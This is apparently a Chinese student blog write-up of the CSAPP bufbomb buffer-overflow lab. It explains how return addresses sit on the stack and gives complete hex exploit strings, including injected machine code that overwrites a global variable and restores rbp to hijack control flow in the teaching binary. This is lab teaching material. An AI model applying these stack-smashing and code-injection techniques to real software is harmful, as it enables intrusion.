这个实验主要是熟悉栈,和了解数据缓存区溢出的问题。

数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针。在被调用程序里面,栈是向下增长的。所有局部变量都存储在栈里面(静态局部变量除外)。假设有一个字符串变量str,在str读取数据时,如果缓存区没有进行一定的保护,会造成缓存区的溢出。由于栈是向下增长的,但是对于一个变量,如str,他的数据存储顺序是向上增长的。所以当缓存区溢出时,可能对eip的返回指产生影响,可以通过输入,来改变eip指针的值,从而控制程序返回的地址。

Level 0: Candle

第一个实验,是通过数据缓存区溢出,来对程序进行修改。

程序是一个字符串的输入程序,如果输入超过40个,就会说输入错误。

试验一就是要通过查看程序的栈帧,进行缓存区溢出攻击,通过输入,改变程序的返回地址。

void test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}
unsigned long long getbuf()
{
char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);
variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
for(i = 0; i < 36; i++)
{
variable_length[i] = buf[i];
}
return val % 40;
}

test函数调用getbuf()函数,来输入字符串。然后判断输入的字符串长度。

实验要求,输入一个字符串,然后是getbuf()完成后,跳转到smoke()函数,而不是test函数。

首先,进入getbuf函数,查看getbuf的栈帧。

可以看到,程序的返回地址存储在rip中,地址是:

也就是要通过输入,改变0x7fffffffb1a8地址中的值。

根据程序:

char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);

我们的输入存在buf这个变量里面,查看buf这个变量的地址:

上面两个地址相减,就是:0xb1a8-0xb170=0x38=56

也就是我们要输入56个字符串,然后再输入想要转化的地址。

现在只要知道smoke的函数入口地址就可以了,

通过查看smoke的第一行的地址,就可以知道函数入口地址

知道smoke入口地址是0x4010c0

只要在最后输入0x4010c0就可以了,但是因为机器是小端法的机器,所以输入要反一下,要输入C0 10 40 00

综上最后的输入为:

30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 c0 10 40 00

前面56个输入,只要不要有换行符就行了

最后的结果:

成功调用了smoke

Level 1: Sparkler

Similar to Level 0, your task is to get bufbomb to execute the code for fizz() rather than returning to test.
In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.

要求就是进入fizz函数,然后使cookie的值和val的值相同。

void fizz(int arg1, char arg2, long arg3,
char* arg4, short arg5, short arg6, unsigned long long val)
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%llx)\n", val);
validate(1);
}
else
{
printf("Misfire: You called fizz(0x%llx)\n", val);
}
exit(0);
}
直接通过改变val的值,使val的值和cookie的值相等,来解决问题。
这里具体的做法就是找到val的地址,然后通过写入的字符串来改变那个地址上面的值,此方法和实验一的过程比较像,就不展开了。

Level 2: Firecracker

Similar to Levels 0 and 1, your task is to get bufbomb to
execute the code for bang() rather
than returning to test(). Before
this, however, you must set global variable global_value to
your cookie. Your exploit code should set global_value,
push the address of bang() on
the stack, and then execute a retq instruction
to cause a jump to the code for bang().
unsigned long long global_value = 0;

void bang(unsigned long long val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie)
{
printf("Bang!: You set global_value to 0x%llx\n", global_value);
validate(2);
}
else
{
printf("Misfire: global_value = 0x%llx\n", global_value);
}
exit(0);
}

这个实验要求把getbuf函数结束之后,跳转到bang这个函数里面来,然后global_value的值需要和cookie一样。一开始我以为这个和前面第二个的实验差不多,后来gdb进去一看,global_value由于是全局变量,根本不在栈里面,像实验二一样,通过直接改global_value的值是不行的。

后来看了一下实验给的建议,知道是要让我在缓存区里面写一段代码,通过这段代码来改变变量的值。原来还能这么玩,太牛逼了。
首先,写一段汇编,是把global_value的地址里面的值改掉:
.data
.text
main:
MOVQ $0x602308 ,%rax
MOVQ $0x704537f05ce48c45 ,%rbx
movq %rbx,(%rax)
push $0x401020
ret

然后用gcc编译一下,在反汇编,得到他的二进制表示:

得到的反汇编文件:

只要把前面那些二进制代码作为输入,就可以了

最后的输入是:
48 c7 c0 08 23 60 00 48 bb 45 8c e4 5c f0 37 45 70 48 89 18 68 20 10 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

在这里和第二个实验还有点不一样的地方就是把rip的地址改为了buf的首地址,这样,当getbuf函数返回的时候,会把这段代码作为返回地址,然后执行。

最后结果:

成功更改了global_value的值。

代码,数据,对计算机来说都是0,1而已,没有区别。

Extra Credit – Level 3: Dynamite

Your job for this level is to supply an exploit string that will cause getbuf() to
return your cookie back to test(),
rather than the value 1. You can see in the code for test() that
this will cause the program to go "Boom!"
oid test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}

这个实验就是让我把getbuf里面的返回值改成cookie的值,和上一个实验都是一样的,唯一需要注意的是,在程序里面有一个local的变量,用来检测栈地址有没有被改变。因为local的变量是通过rbp间接寻址得到的,所以在汇编程序里面需要改变rbp的值,使他指向正确的rbp;

写入的汇编代码如下:

然后把这些二进制的代码写入到字符串,写入的字符串为:

48 b8 45 8c e4 5c f0 37 45 70 48 bd d0 b1 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00  

最后在gdb里面得到的结果:

总结:终于搞完这个东西了,汇编编程还真是麻烦,虽然只有几行,但是错误真是难找。记得第三个实验我传值的时候忘记掉了$符号,结果传进去的值不是立即数,而是间接地址上的数,因为这个错,弄了一晚上,一直以为是自己字符串输错了……真是蛋疼

版权声明:本文为博主原创文章,未经博主允许不得转载。

csapp lab3 bufbomb 缓存区溢出攻击 《深入理解计算机系统》的更多相关文章

  1. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...

  2. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...

  3. 缓存区溢出漏洞工具Doona

    缓存区溢出漏洞工具Doona   Doona是缓存区溢出漏洞工具BED的分支.它在BED的基础上,增加了更多插件,如nttp.proxy.rtsp.tftp等.同时,它对各个插件扩充了攻击载荷,这里也 ...

  4. 缓存区溢出检测工具BED

    缓存区溢出检测工具BED   缓存区溢出(Buffer Overflow)是一类常见的漏洞,广泛存在于各种操作系统和软件中.利用缓存区溢出漏洞进行攻击,会导致程序运行失败.系统崩溃.渗透测试人员利用这 ...

  5. CSAPP:逆向工程【缓冲区溢出攻击】

    逆向工程[缓冲区溢出攻击] 任务描述 掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程. 主要方法 溢出的字符将覆盖栈帧上的数据,会覆盖程 ...

  6. 缓存区溢出之slmail fuzzing

    这是我们的实验环境 kali 172.18.5.118smtp windows2003  172.18.5.117  pop3 110 smtp 25 本机 172.18.5.114 已经知道slma ...

  7. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  8. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  9. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

随机推荐

  1. easyui的样式easyui-textbox的一个bug

    easyui-testbox这个样式很恶心,用了这个就不能用传统的JQ来取值了,最近在使用上又发现了一个问题,就是赋值为0时,在输入框上会不显示,坑. <input class="ea ...

  2. sql2008中时间类型问题

    DATEDIFF (DD ,@sdate ,getdate() ) eg30 计算从开始日期到今天的天数 datename(weekday,@sdate) eg星期三 查询那一天是星期几 SQL Se ...

  3. javascript 面向对象的继承的实现

    JavaScript 中的面向对象的初步认识 上面这篇简单的记录了我对 JS面向对象实现的一点初步认识和了解,下面继续研究JS面向对象,实现继承和多态. 之前的学习我了解到了 :构造函数加属性,原型p ...

  4. Javascript数组中shift()和push(),unshift()和pop()操作方法使用

    Javascript为数组专门提供了push和pop()方法,以便实现类似栈的行为.来看下面的例子: var colors=new Array();       //创建一个数组 var count= ...

  5. Idea facet

    idea错误:this inspection controls whether the persistence ql queries are error-checked 在project struct ...

  6. BOOST_PP_INC_I(x)实现

    这个比较有意思,# define BOOST_PP_INC_I(x) BOOST_PP_INC_ ## x 连接在一起以后,然后定义为x+1 实现了inc功能,不过最多也就到255 # /* Copy ...

  7. php5.3 PHP5.4 PHP5.5 新特性/使用PHP5.5要注意的

      1.PHP 5.3中的新特性 1.1 PHP 5.3中的新特性 1.1.1. 支持命名空间 (Namespace) 毫无疑问,命名空间是PHP5.3所带来的最重要的新特性. 在PHP5.3中,则只 ...

  8. 【Chromium中文文档】Web安全研究

    转载请注明出处:https://ahangchen.gitbooks.io/chromium_doc_zh/content/zh//General_Architecture/Extension_Sec ...

  9. Oracle EBS-SQL (GL-3):从总帐追溯到发票

    SELECT je_header_id, je_line_num, trx_class_name, trx_type_name, trx_number_displayed, trx_date,comm ...

  10. android开源框架和开源项目(转)

    特效: http://www.androidviews.net/ http://www.theultimateandroidlibrary.com/ 常用效果: 1. https://github.c ...